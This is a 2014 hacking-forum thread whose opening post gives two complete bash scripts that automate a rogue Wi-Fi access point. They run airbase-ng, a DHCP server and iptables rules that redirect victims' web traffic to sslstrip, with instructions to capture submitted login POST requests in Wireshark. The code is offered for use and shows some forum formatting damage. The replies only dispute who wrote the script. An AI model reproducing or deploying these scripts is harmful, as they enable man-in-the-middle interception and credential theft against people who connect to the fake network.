

Forum: [Hack Forums](#)

Thread: [Create your rogue AP](#)

Mâgñîfîcêñ† - February 24, 2014, 12:28 am

This is a script to automatize the creation of Rogue APs:

This part must be saved in a file called `rogueapairbase.sh`. Don't forget to do `chmod +x rogueapairbase.sh`

PHP Code

<?php

```
#!/bin/bash
```

```
echo '
echo ' _____'
echo '(   )(   )(   \|   \|(   \|(   )(   )'
echo '|( )|| ( ) || ( \|) ( || ( \| ( ) || ( )|'
echo '|(   )|| | | | | | | | |(   | (   ) || (   )|'
echo '|   )|| | | | |   || | | |   |   ||   )'
echo '| (\ ( | | | | \|_ )|| | | | (   | ( ) || (   '
echo '| ) \| _ | (   ) || (   ) || (   ) || (   /\ ) ( || )   '
echo '| / \| /(   )(   )(   )(   / / \|/'
echo
echo "By 9H4C7K3R2 - v1.1"
echo "@ Script to create Rogue APs with DHCP Service"
echo
"@ check if dhcp3-server is installed (apt-get install dhcp3-server or apt-get install isc-dhcp-server)"
echo "@ If you launch the script for the first time, you must do this:"
echo "@ nano /etc/dhcp/dhcpd.conf, add these lines (you can delete all in the file):"
echo
echo " ddns-update-style interim;"
echo " default-lease-time 600;"
echo " max-lease-time 7200;"
echo " subnet 192.168.3.0 netmask 255.255.255.0 {"
echo "     option subnet-mask 255.255.255.0;"
echo "     option broadcast-address 192.168.3.255;"
echo "     option routers 192.168.3.1;"
echo "     option domain-name-servers 8.8.8.8;"
echo "     range 192.168.3.2 192.168.3.150;"
echo " }"
echo
echo
"@ The http traffic is redirected to port 10000. Launch wireshark and use the filter: http.request.method == "POST""
echo "@ Don't forget to start sslstrip before sniffing: sslstrip -a -l 10000 -w capture.txt"
echo
turnoffmon=$(ifconfig | grep mon)
if [ -n "$turnoffmon" ]
then
```

```

    echo "[+] Turning monitoring mode off"
    airmon-ng stop mon0
fi
echo "[+] Rogue AP information"
echo -n "[+] Rogue AP name: "
read nameAP
echo -n "[+] Channel used for Rogue AP: "
read channel
echo
echo "[+] Interfaces"
chk_mon=$(ifconfig | sed 's/[ \t].*//;/^\(lo\|\)\$/d;/eth/d' | grep mon)
if [ $chk_mon ]
then
    echo "[+] Monitoring interface detected"
else
    echo "[+] Available interfaces:"
    ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)\$/d' | grep wlan
    echo -n "[+] Interface used for monitoring (Rogue AP): "
    read mon_interface
    echo "[+] Starting monitoring mode"
    airmon-ng start $mon_interface > /dev/null 2>&1
    chk_mon=$(ifconfig | sed 's/[ \t].*//;/^\(lo\|\)\$/d;/eth/d' | grep mon)
    if [ $chk_mon ]
    then
        echo "[+] Monitor mode enabled"
    else
        echo "[+] Error during monitoring mode activation"
        echo "[+] Exiting"
        exit
    fi
fi
echo
echo "[+] Creating the Rogue AP - CTRL + C to stop"
xterm -e bash rogueapdhcp.sh &
airbase-ng -e "$nameAP" -c $channel -P mon0

```

This part must be saved in a file called rogueapdhcp.sh. Don't forget to do `chmod +x rogueapdhcp.sh`

PHP Code

```

<?php
#!/bin/bash

echo "[+] DHCP and FORWARDING"
echo "[+] Available interfaces:"
ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)\$/d' | sed '/mon./d;/at./d'
echo -n "[+] Interface connected to internet (to forward the packets to the internet): "
read interface
ip=$(ifconfig $interface | grep -E 'inet addr:' | sed -re
's/inet\ addr:./g;s/Bcast:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/g;s/Mask:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/g' | sed -e 's/^[ \a]*//')
if [[ -z $ip ]]
then

```

```

ip=$(ifconfig $interface | grep -E 'inet addr:' | sed -re
's/inet\ addr:\/\/g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
fi
masque=$(ifconfig $interface | grep -E 'inet addr:' | sed -re
's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
if [[ -z ${masque} ]]
then
masque=$(ifconfig $interface | grep -E 'inet addr:' | sed -re
's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
fi
passerelle=$(route -n | grep 'UG[ \t]' | awk '{print $2}' | sed 1q)
broadcast=$(ifconfig $interface | grep -E 'inet addr:' | sed -re
's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
if [[ -z ${broadcast} ]]
then
broadcast=$(ifconfig $interface | grep -E 'inet addr:' | sed -re
's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
fi
reseau=$(ifconfig $interface | grep -E 'inet addr:' | sed -re
's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/255/0/' | sed -e 's/^[ \a]*//')
if [[ -z ${reseau} ]]
then
reseau=$(ifconfig $interface | grep -E 'inet addr:' | sed -re
's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/255/0/' | sed -e 's/^[ \a]*//')
fi
mac=$(ifconfig $interface | grep -o -E '([[:xdigit:]]{1,2}){5}([[:xdigit:]]{1,2})')
echo "[+] Informations about interface $interface"
echo "IP Address:" $ip
echo "Netmask:" $masque
echo "Gateway:" $passerelle
echo "Broadcast:" $broadcast
echo "Network:" $reseau
echo "MAC Address:" $mac
echo
echo "[+] Setting up tap interface"
echo "[+] Available interfaces:"
ifconfig -a | sed 's/[ \t].*//;/\(lo\|v\)$/d' | grep at
echo -n "[+] Interface used for the Rogue AP: "
read tapint
ifconfig $tapint up
ifconfig $tapint 192.168.3.1 netmask 255.255.255.0
route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
echo "[+] iptables modification (flush)"
iptables --flush
iptables --table nat --flush
iptables --delete-chain

```

```

iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
echo "[+] Enabling forwarding"
echo 1 > /proc/sys/net/ipv4/ip_forward
test_forward=$(cat /proc/sys/net/ipv4/ip_forward)
if [ $test_forward == "1" ]
then
    echo "[+] IP Forward enabled"
elif [ $test_forward == "0" ]
then
    echo "[+] IP Forward not enabled"
    echo "[+] Exiting"
    exit
fi
echo "[+] iptables modification (forwarding)"
iptables --table nat --append POSTROUTING --out-interface $interface -j MASQUERADE
iptables --append FORWARD --in-interface $tapint -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to $passerelle
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
echo
echo "[+] Starting DHCP Service - CTRL + C to stop"
dhcpd -d -f -cf /etc/dhcp/dhcpd.conf $tapint
bash

```

Best Regards to hunt3r972

nuk - February 25, 2014, 12:14 pm

Did you make this? I'm not bashing you or anything but I'm pretty sure I saw this exact same thing on another forum a few weeks back? If you did make it; then great job ;)

White Light - February 25, 2014, 7:17 pm

(Feb 25, 2014 01:14 PM)nuk Wrote: [\[CITE\]](#) Did you make this? I'm not bashing you or anything but I'm pretty sure I saw this exact same thing on another forum a few weeks back? If you did make it; then great job ;)

<http://www.hackcommunity.com/Thread-Resource-Create-your-rogue-AP?pid=177656>

Nope, 'tis leeches.

Măgñîfîcêñt - February 26, 2014, 9:49 am

(Feb 25, 2014 08:17 PM)White Light Wrote: [\[CITE\]](#)

<http://www.hackcommunity.com/Thread-Resource-Create-your-rogue-AP?pid=177656>

Nope, 'tis leeches.

you can check the post there was a credit to the source

Best Regards to [hunt3r972](#)

?CARUS L?VE?™ - February 26, 2014, 10:39 am

(Feb 26, 2014 10:49 AM)justtouse Wrote: [\[CITE\]](#) you can check the post there was a credit to the source

What do you mean WAS?

You edited it. It WASN'T, until you changed it.

Quote:Best Regards to hunt3r972

(This post was last modified: 02-24-2014 03:32 AM by justtouse.)

Măgñîfîcēñ† - February 26, 2014, 3:31 pm

(Feb 26, 2014 11:39 AM)?CARUs L?VE?™ Wrote: [\[CITE\]](#) What do you mean WAS?
You edited it. It WASN'T, until you changed it.
i didn't edited it bro....trust me brother i just trying to be clean here

?CARUs L?VE?™ - February 26, 2014, 3:46 pm

(Feb 26, 2014 04:31 PM)justtouse Wrote: [\[CITE\]](#) i didn't edited it bro....trust me brother i just trying to be clean here
Bro, your post says you edited it. The credits weren't there before.

White Light - February 26, 2014, 5:57 pm

(Feb 26, 2014 10:49 AM)justtouse Wrote: [\[CITE\]](#) you can check the post there was a credit to the source

Best Regards to [hunt3r972](#)

1. "Best Regards" is not "I did not make this, all credit goes to _____"
2. It would have been significantly better if you had actually linked to where you got it, instead of just writing out the name of some random user on another forum.

(Feb 26, 2014 04:46 PM)?CARUs L?VE?™ Wrote: [\[CITE\]](#) Bro, your post says you edited it. The credits weren't there before.

3. Check the times, it was edited 4 minutes after originally being posted - well before any responded to it.